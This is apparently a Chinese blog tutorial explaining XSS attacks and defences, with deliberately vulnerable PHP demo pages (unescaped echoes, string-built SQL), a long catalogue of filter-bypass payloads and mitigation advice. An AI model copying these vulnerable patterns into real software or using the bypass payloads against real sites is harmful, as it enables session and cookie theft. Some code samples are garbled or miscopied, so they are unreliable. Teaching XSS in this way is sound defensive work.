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xss攻击原理和防范措施(十八.XSS跨站脚本攻击原理及代码攻防演示)

xss攻击原理和防范措施(十八.XSS跨站脚本攻击原理及代码攻防演示)用户的浏览器执行了恶意脚本恶意脚本被输出到网页这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。该漏洞存在的主要原因为:参数输入未经过安全过滤

一.什么是XSS

1.XSS原理

跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了html以及用户端脚本语言。

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XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

漏洞成因

如下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好的,黑色部分参数是用户想搜索的关键词。当我们搜索了test Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。

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这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。

该漏洞存在的主要原因为:

参数输入未经过安全过滤

恶意脚本被输出到网页

用户的浏览器执行了恶意脚本

2.XSS示例

作者接下来使用WAMP(Windows Apache MySQL PHP)搭建PHP网站平台作,简单讲解两个常见案例。

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示例1:GET提交
下面是一个简单的XSS漏洞代码(xss-01.php

<?php echo "这是一个XSS漏洞攻击测试页面!<br />"; $xss = $_GET['x']; echo $xss; //JS代码:<script>alert(1)</script> ?>

当输入正确的值时,网页能正常显示。

http://localhost/xss/xss-01.php?x=122

输出结果如下图所示:

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而当我们输入JS脚本代码时,它会弹出相应的窗口,这就是一个XSS注入点。

http://localhost/xss/xss-01.php?x=<script>alert(1)</script>

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示例2:POST提交另一种常见的XSS上传漏洞代码如下所示:

index.html

<html> <head><title>XSS测试1</title></head> <body> <form action='xss.php' method="get"> 请输入用户名:<br> <input type="text" name="name" value="" /> <input type="submit" name="提交" /> </form> </body> </html>

xss.php

<html> <head> <title>测试结果</title> </head> <body> <?php echo $_REQUEST['name']; ?> </body> </html>

输入正确的用户名如“eastmount”,仍然能正确显示。

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而输入脚本代码 < script>alert(1)< /script> 时,它弹出了对应的脚本窗口,存在XSS注入漏洞。注意,这里采用的是POST方法提交数据,而前面采用的GET方法,其最主要的区别是GET方式的网址可以看到参数,而POST方式URL始终不变。

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页面直接弹出了“1“”的窗口,可以看到,我们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端–>后端–>前端。

3.XSS危害

XSS跨脚本攻击主要的危害如下:

网络钓鱼,包括盗取各类用户账号

窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等

强制弹出广告页面、恶意 刷流量等

网站挂马,进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等

进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等

获取用户端信息 ,;例如用户的浏览记录、真实IP地址、开放的端口等

结合其他漏洞,如CSRF漏洞,实施进一步作恶

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PS:上面涉及的很多内容,作者会进一步学习,并分享相关的内容,一起进步 ,一起加油!

二.XSS分类

XSS有部分书籍将它划分为两类——反射型和持久型。

反射型

也称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。一般出现在输入框、URL参数处。

持久型

持久型跨站脚本也可以说是存储型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。一般出现在网站的留言、评论、博客日志等于用户交互处。

而另一部分书籍将XSS分为三种类型——反射型、存储型以及DOM型,这也是本篇文章重点讲解的分类方式。

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反射型又称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。其攻击流程如下图所示:(该图片源自谢公子文章)

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下图是专门训练一些WEB漏洞的练习页面,我们可以输入自己的名字,输入之后会把我们的名字显示出来。例如我们输入了一个“张三”,这个时候弹出来了一个“123”,在那边显示了一个张三,但是script标签没有出来,因为这个标签被执行了。

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示例:
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端–>后端–>前端。其代码案例如前面所述:

//前端页面 index.html <html> <head><title>XSS测试1</title></head> <body> <form action='xss.php' method="get"> 请输入用户名:<br> <input type="text" name="name" value="" /> <input type="submit" name="提交" /> </form> </body> </html> //后端页面 xss.php <?php $name = $_POST['name']; echo $name; ?>

当用户提交数据,输入 < script>alert(‘hack’)< /script> 代码会提交给后台,并弹出hack页面,这就表示我们的恶意语句被页面执行了。

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2.存储型

存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。它的代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等于用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等。其攻击流程如下图所示:(该图片源自谢公子文章)

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在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

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存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。

示例:假设现在存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。

<html> <head><title>XSS测试2</title></head> <body> 欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br /> <form action='xss2.php' method="post"> 请输入用户名:<br> ID:<input type="text" name="id" value="" /> <br /> Name:<input type="text" name="name" value="" /> <br /> <input type="submit" name="提交" /> </form> </body> </html>

后台的 xss2.php 将执行数据库存储操作,本地MySQL数据库创建一个名为 XSSDB的数据库,并插入一张XSS表,如下图所示。

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xss2.php代码如下所示:

<?php //获取提交的表单值 $id=$_POST["id"]; $name=$_POST["name"]; echo $id '<br />'; echo $name '<br />'; //连接数据库 //因为PHP版本是7.3的,因此用mysqli_connect()而不是用mysql_connect() $con = mysqli_connect("localhost" "root" "123456" "xssdb"); if (!$con) { die('Could not connect database: ' . mysqli_error()); } //插入数据表 $sql = "insert into xss (id name) values ('{$id}' '{$name}');"; echo $sql; $result

此时另一个页面 select.php 负责提供给其他用户访问,则可以看到我们的信息。

<?php $id = $_GET['id']; //链接数据库 $con = mysqli_connect("localhost" "root" "123456" "xssdb"); //查询数据 $sql = "select * from xss where id='{$id}';"; $result = mysqli_query($con $sql); //$data = mysqli_fetch_all($result); // 从结果集中获取所有数据 //print_r($data); while($row = mysqli_fetch_assoc($result)) { echo $row['name']; } ?>

当我们输入正确的值,如下图所示:id:1
name:yangxiuzhang

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此时数据库中可以看到我们插入的值。

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通过本地网址(localhost:8088/xss/select.php?id=1)我们能获取id为1对应的name值。

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当我们输入JS代码时,该程序又将如何运行呢?接着我们插入如下数据:

id:2

name:< script>alert(‘hack’)< /script>

注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号,不然注入不进去。

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原理:用户提交数据到后端,后端存储至数据库中,然后当其他用户访问查询页面时,后端调出数据库中的数据,显示给另一个用户,此时的XSS代码就被执行了。

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此时数据库插入的内容如下所示,可以看到JS代码已经成功插入我们的后台。

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最后,我们调用 select.php (localhost:8088/xss/select.php?id=2)页面,可以看到成功执行了该脚本文件。
存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端。

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3.DOM型

首先,什么是DOM呢?

DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本可以动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。

DOM本身是一个表达XML文档的标准,HTML文档从浏览器角度来说就是XML文档,有了这些技术后,就可以通过javascript轻松访问它们。下图是一个HTML源代码的DOM树结构。

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其次,什么优势DOM-XSS呢?

DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

DOM型的XSS是一些有安全意识的开发者弄出来的,比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况。常见可能触发DOM-XSS的属性包括:document.referer、window.name、location、innerHTML、documen.write等。

如下图所示,我们上面输入的可以看到这行代码规律,把这个大括号、小括号以及双页号进行转移,按理说转移之后它应该不会再作为它的标签存在,不会存在XSS的代码。

下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOMXSS。它有可能通过URL传播,也有可能通过服务器传播。

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最后,DOM型跨站脚本的攻击是如何实现呢?

下面简单讲解一个DOM-XSS代码,假设前端是一个index3.html页面。

<html> <head><title>DOM-XSS测试3</title></head> <body> 欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br /> <form action='xss3.php' method="post"> 请输入用户名:<br> <input type="text" name="name" value="" style="width:400px" /> <br /> <input type="submit" name="提交" /> </form> </body> </html>

接着设置后台页面,xss3.php用于获取提交的值并显示其在页面中。注意,代码是获取username中的值,然后显示在print内,这也是导致XSS的原因。

<?php //获取提交的表单值 $name=$_POST["name"]; ?> <input id="username" type="text" value="<?php echo $name; ?>"/> <div id="print"> <!-- 显示获取的内容 --> </div> <script type="text/javascript"> //获取username值并输出在print内 这里是导致xss的主要原因 var text = document.getElementById("username"); var print = document.getElementById("print"); print.innerHTML=text.value; </script>

此时,当我们输入正常的参数,它显示的结果如下图所示,是正常显示的。

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而当我们输入恶意代码的时候,比如提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行我们的JS代码,弹出hack的窗体。从而证明了DOM-XXSS是存在的。
DOM型跨站脚本漏洞的数据流向是:前端->浏览器。

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三.XSS构造及漏洞利用

1.XSS构造

在进行SQL注入中,我们可以设置相应的过滤函数防止,比如防止万能密码(‘or’='or’或admin),也能调用preg_replace()函数将特色字符过滤。同样,XSS攻击代码也可能会被过滤,如下所示,它将< script>和 < /script>进行了过滤。

<?php $name=$_POST["name"]; if($name!=null){ //过滤<script>和</script> $name=preg_replace("/<script>/" "" $name); $name=preg_replace("/<\/script>/" "" $name); echo $name; } ?>

如何绕过这个过滤呢?这里可以通过大小写成功绕过 ,如下所示:

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为了更好地理解XSS跨站脚本攻击,更好地进行防御,这里我们分享常见的绕过XSS过滤(XSS-Filter)的方法。

1) 利用<>标记注射HTML、JavaScript

通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码 常用案例: <script>alert(/xss/)</script>

2) 利用HTML标签属性值执行XSS

通过javascript:[code]伪协议形式编写恶意脚本 常用案例: <table background="javascript:alert(/xss/)"></table> <img src="javascript:alert('xss');" >

3) 空格回车Tab绕过过滤

注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。 <img src="javas cript:alert(/xss/)" width=100> 使用回车分隔: <img src="javas cript: alert(/xss/)" width=100>

4) 对标签属性值进行转码

<img src="javascript:alert('xss');"> 替换成: <img src="javascript:alert('xss');"> 其中,t的ASCII码值为116,用”t”表示,:则表示:。 再进一步替换: <img src="javascript:alert('xss');">

5) 产生事件如click、mouseover、load等

W3C(万维网联盟)将事件分为3种不同的类别:

  • 用户接口(鼠标、键盘)
  • 逻辑(处理的结果)
  • 变化(对文档进行修改)

<input type="button" value="click me" onclick="alert('xss')" /> <img src="#" onerror=alert(/xss/)>

6) 利用CSS跨站过滤

常见示例如下所示:

<div style="background-image:url(javascript:alert('xss'))"> <style> body {background-image:url("javascript:alert(/xss/)");} </style> <div style="width:expression(alert('XSS'));"> <img src="#" style="xss:expression(alert(/xss/));"> <style> body {background-image: expression(alert("xss"));} </style> <div style="list-style-image:url(javascript:alert('XSS'));"> <div style="background-image:url(javascript:alert('XSS'));"> <img src=" javascript:alert('xss')"> <style> @import 'javascript:alert(/xss/)'; </style>

7) 扰乱XSS过滤规则

一个正常的XSS输入: <img src="javascript:alert(0);"> 转换大小写后的XSS: <IMG SRC="javascript:alert(0);"> 大小写混淆的XSS: <iMg sRC="JaVasCript:alert(0);"> 不用双引号,而是使用单引号的XSS: <img src='javascript:alert(0);'> 不适用引号的XSS: <img src=javascript:alert(0);> 不需要空格的XSS: <img/src="javascript:alert('xss');"> 构造不同的全角字符: <div style="{left:expression(alert('xss'))"> 利用注释符 <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));"> \和\0– <style> @imp\0ort 'java\0scri\pt:alert(/xss/)'; </style> <style> @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)'; </style> CSS关键字转码 <div style="xss:\65xpression(alert('XSS'));"> <div style="xss:\065xpression(alert('XSS'));"> <div style="xss:\0065xpression(alert('XSS'));"> <!--<img src="--><img src=x οnerrοr=alert(1)//"> <comment><img src="</comment><img src=x οnerrοr=alert(1)//"> <style><img src=“</style><img src=x onerror=alert(1)//”>

8) 利用字符编码

原始语句: <img src="javascript:alert('xss');"> 十进制编码 <img src="javascript:a& #108ert('xss');"> <img src="javascrip&# 0116;:alert('x&# 0115;s');"> <img src="javasc 4ipt:ale& #0000114t('xss� 0039);"> 十六进制编码 <img src="javascript:&# x61lert('xss');">

9) 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤

<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29"); </script> <img src="javascript:eval(String.fromCharCode(97 108 101 114 116 40 39 120 115 115 39 41))">

PS:由于JavaScript代码必须要写在代码块中才能显示,所以文章包含了很多代码块,望读者理解。

2.挖掘其他XSS漏洞

其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等。

1)黑盒攻击测试

Acunetix Web Vulnerability Scanner 是一款商业级的web漏洞扫描程序,它的功能非常强大,可以自动化检查各种web应用漏洞,包括XSS、SQL注入、代码执行、目录遍历、网站源代码暴力等。

注意:下一篇文章作者将结合AWVS详细讲解XSS跨站脚本攻击的实战案例。

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黑盒攻击测试手工检测XSS代码常见用法包括:

<script>alert(/xss/)</script> <li/οnclick=alert(xss)>a</li> <img/src=x οnerrοr=alert(1)> <a href=javascript:alert(2)>M <a href=javascript:alert(13)>M <svg/οnlοad=alert(1)>

2) 源码审计

顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

例如,PHP全局变量如下所示:

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3) Flash XSS

关于Flash的跨站漏洞其实很早就出现了。Flash的安全漏洞也不仅仅只有XSS,还有CSRF、跨域、代码执行等其他安全问题。Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。

Flash确实存在很多漏洞,后续读者也想深入研究了解,看看能不能复现几个漏洞代码出来。同时,Flash XSS感兴趣的读者可以阅读安全脉搏大神的这篇文章:https://www.secpulse.com/archives/44299.html

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四.如何防御XSS

由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。

1.输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

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输入正确和错误分别提示。

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输入验证要根据实际情况设计,下面是一些常见的检测和过滤:

输入是否仅仅包含合法的字符

输入字符串是否超过最大长度限制

输入如果为数字,数字是否在指定的范围

输入是否符合特殊的格式要求,如E-mail地址、IP地址等

2.输出编码

大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。

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3.标签黑白名单过滤

有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。

不同的javascript写法包括:

大小写混淆: <img src=JaVaScRiPt:alert(‘xss’)> 插入[tab]键; <img src=”jav ascript:alert(‘xss’);”> 插入回车符: <img src=”jav asrci pt:alert(‘xss’);”> 使用/**/注释符: <img src=”java/*xxx*/script:alert(‘xss’);”> 重复混淆关键字: <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”> 使用&#十六进制编码字符: <img src=”jav ascript:alert(‘xss’);”> 使用&#十进制编码字符: <img src= javascript:alert(‘xss’);”> 使用&#十进制编码字符(加入大量的0000): <img src=”javascript:alert(‘xss’);”> 在开头插入空格: <img src=” javascript:alert(‘xss’);”>

黑名单:

过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

白名单:

白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。

4.代码实体转义

由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。

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5.httponly防止cookie被盗取

一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。

比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。

最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!

五.总结

希望这篇文章对你有所帮助,尤其是网络安全的初学者,作者写这篇文章加实验真的快吐了,哈哈!但只要对你们有帮助,我就很开心,后续会结合AWVS工具操作XSS攻击实战案例。这是Python网络攻防系列文章,作者也是初学者,而且是仰仗各位大牛的无私分享而写下的实战总结,希望对你们有帮助。

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网络安全的视频资源确实挺贵的,作者也会继续开源免费的分享更多文章和代码,希望能帮到更多的初学者,你们的每一句感谢和祝福都激发着我前行。转眼间,1024节日要来了,我还是写一篇《我与CSDN的这十年》,分享下程序猿和程序媛的故事,纪念这十年奋斗和感动的日子。十年,说长不长,说短不短,人生进度条的八分之一,都是青春,都是热血。感谢你我的分享和坚守,也期待下一个十年。明天早起上课,下午回来写文章,加油~

2019年10月12日 晚上写于武汉

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